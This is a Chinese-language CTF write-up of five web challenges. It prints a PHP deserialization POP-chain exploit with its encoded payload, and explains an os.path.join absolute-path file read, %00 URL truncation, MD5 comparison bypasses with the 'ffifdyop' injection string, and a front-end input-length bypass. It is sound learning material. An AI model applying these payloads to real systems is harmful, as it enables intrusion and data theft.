目錄
[SWPUCTF 2021 新生賽]pop
[NISACTF 2022]babyupload?
?編輯[GKCTF 2020]cve版簽到?
[SWP5UCTF 2022 新生賽]奇妙的MD5
[HNCTF 2022 Week1]easy_html?
今日總結:
[SWPUCTF 2021 新生賽]pop
1.代碼審計
<?phperror_reporting(0);
show_source("index.php");class w44m{private $admin = 'aaa';protected $passwd = '123456';public function Getflag(){if($this->admin === 'w44m' && $this->passwd ==='08067'){include('flag.php');echo $flag;}else{echo $this->admin;echo $this->passwd;echo 'nono';}}
}
//這是一個名為 w44m 的類。它有兩個屬性:$admin 和 $passwd,分別被初始化為 'aaa' 和 '123456'。它還有一個公共方法 Getflag,該方法檢查 $admin 和 $passwd 是否與特定的值匹配。如果匹配,則包含并輸出 flag.php 文件中的 $flag 變量的值。如果不匹配,則輸出 $admin、$passwd 和 'nono'。
class w22m{public $w00m;public function __destruct(){echo $this->w00m;}
}
//這是一個名為 w22m 的類,它有一個公共屬性 $w00m。當該類的實例被銷毀時(例如,在腳本結束時或當不再有對該實例的引用時),__destruct 魔術方法會被調用,并輸出 $w00m 的值。
class w33m{public $w00m;public $w22m;public function __toString(){$this->w00m->{$this->w22m}();return 0;}
}
//這是一個名為 w33m 的類,它有兩個公共屬性:$w00m 和 $w22m。當該類的實例被當作字符串使用時(例如,在字符串連接中),__toString 魔術方法會被調用。該方法嘗試調用 $w00m 對象上的 $w22m 方法。如果 $w00m 是一個對象,并且該對象有一個名為 $w22m 的方法,那么這個方法就會被執行
$w00m = $_GET['w00m'];
unserialize($w00m);//這部分代碼首先從 GET 請求中獲取 w00m 參數的值,并嘗試對其進行反序列化。反序列化是將已存儲的表示形式或字節流轉換回 PHP 值的過程。?>
2.分析php代碼
題目要求GET傳入w00m,并進行反序列化操作
- w44m類:
如果變量前是protected,則會在變量名前加上
\x00*\x00
,若是private,則會在變量名前加上
\x00類名\x00
,輸出時一般需要url編碼
- w22m類:
當類銷毀時會輸出
$this->w00m
- w33m類:
當w33m類的對象被當做字符串使用時,觸發__toString()方法
?3.該題目中涉及到的魔術方法有兩個toString和destruct,構造pop鏈的關鍵是緊盯魔術方法,找到pop鏈的頭部和尾部,可以看到GET方式傳參w00m,也就是pop鏈的頭部,然后就是尾部,尾部就是能夠達到惡意攻擊的地方,在上述的題目中,清晰可見:w44m類中存在著一個方法GETflag方法,便可輸出最終的flag,因此這也是我們的pop鏈的尾部。
如何調用w44m類中Getflag方法?
在w33m類中tostring方法,可以調用某一個類中的某一個方法。
因此可以給w33m類中的兩個變量w00m=w44m類名,w22m=Getflag方法
如何調用w33m類呢?
destruct在對象被銷毀時調用,所以給w22m類中的變量w00m一個類w33m就可以調用
綜上,POP鏈:
w22m::__destruct()->w33m::__toString()->w44m::Getflag()
?4.在線php構造序列化字符串如下:
<?php
class w44m{private $admin = 'w44m';protected $passwd = '08067';}
class w22m{public $w00m;}
class w33m{public $w00m;public $w22m;}
$a=new w22m;
$a->w00m= new w33m;
$a->w00m->w00m= new w44m;
$a->w00m->w22m= "Getflag";
var_dump(serialize($a));
?>
資料:PHP類中public、protected、private的區別 PHP類中public、protected、private實例代碼_李濤自留地-李濤生活目錄和編程學習網絡筆記本
5.其中未顯示的是空格,即\x00,因為有私有屬性,所以進行url編碼
6.構造之后,得到flag
payload:?w00m=O%3A4%3A"w22m"%3A1%3A{s%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A{s%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A{s%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00*%00passwd"%3Bs%3A5%3A"08067"%3B}s%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B}}
[NISACTF 2022]babyupload?
1.查看源代碼,發現可疑文件
2.訪問之后得到一個壓縮包,解壓之后得到以下內容
?
3. 打開txt文件,發現以下內容,但是訪問之后沒有什么
對另一個文件進行代碼審計:
發現這串代碼用來用于處理文件上傳和下載,?def upload()處理文件上傳。如果文件名包含
.(后綴)
,則拒絕上傳(這可能是為了防止某些類型的文件上傳,但這種方法不是很安全)。否則,將文件保存到uploads/
目錄,并將文件信息保存到數據庫中。def file()根據提供的id
,從數據庫中查詢文件路徑,然后讀取文件內容并返回。
4.這里涉及到os.path.join()
的絕對路徑拼接漏洞:
絕對路徑拼接漏洞:
os.path.join(path,*paths)函數用于將多個文件路徑連接成一個組合的路徑。第一個函數通常包含了基礎路徑,而之后的每個參數被當作組件拼接到基礎路徑之后。
然而,這個函數有一個少有人知的特性,如果拼接的某個路徑以 / 開頭,那么包括基礎路徑在內的所有前綴路徑都將被刪除,該路徑將視為絕對路徑
os.path.join()函數:
第一個以”/”開頭的參數開始拼接,之前的參數全部丟棄,當有多個時,從最后一個開始資料:Python中os.path.join函數的用法示例詳解_python_腳本之家
5.利用函數的特性,使用/flag,直接跳轉到最后一個文件讀取flag文件?
[GKCTF 2020]cve版簽到?
1.進入頁面,發現沒有什么,所以抓包看看,發現hint?
2.起初的頁面說You just view *.ctfhub.com,說我們url請求必須包含.ctfhub.com,所以這里想到%00截斷
%00截斷原理:截斷是操作系統層的漏洞,由于操作系統是C語言或匯編語言編寫的,這兩種語言在定義字符串時,都是以\0(即0x00)作為字符串的結尾。操作系統在識別字符串時,當讀取到\0字符時,就認為讀取到了一個字符串的結束符號。因此,我們可以通過修改數據包,插入\0字符的方式,達到字符串截斷的目的。00截斷通常用來繞過web軟waf的白名單限制。
3.看到Tips: Host must be end with '123',主機位必須以123結尾,所以繼續構造,得到flag
?url=http://127.0.0.123%00www.ctfhub.com
[SWP5UCTF 2022 新生賽]奇妙的MD5
1.進入頁面,提示有一串奇妙的字符串,又是關于MD5的,猜測是一個是 MD5 加密后弱比較等于自身,這個字符串是 0e215962017 :另一個是 MD5 加密后變成萬能密碼,這個字符串是 ffifdyop。
2.嘗試ffifdyop,跳轉到以下頁面 ??
?3.查看源代碼
4.繞過md5的弱比較,得到一個文件,訪問這個文件
5. 根據要求使用數組來繞過md5的強比較,得到flag
[HNCTF 2022 Week1]easy_html?
1.打開頁面,發現關鍵信息“餅干”,翻譯過來就是cookie,想到使用抓包,發現"Set-Cookie: flagisin=.%2Ff14g.php",其中%2F是/的url編碼
2.所以訪問這個文件,得到以下頁面
3.經過嘗試發現只能輸入十位,但正常情況手機號是十一位,所以想到修改前端的代碼,再次輸入十一位的號碼,得到flag
今日總結:
1.學習了php反序列化的pop鏈
2.了解了os.path.join()
的絕對路徑拼接漏洞
3.修改主機位時,當主機位必須以123結尾,如:127.0.0.1修改為127.0.0.123
4.關于MD5的奇妙的字符串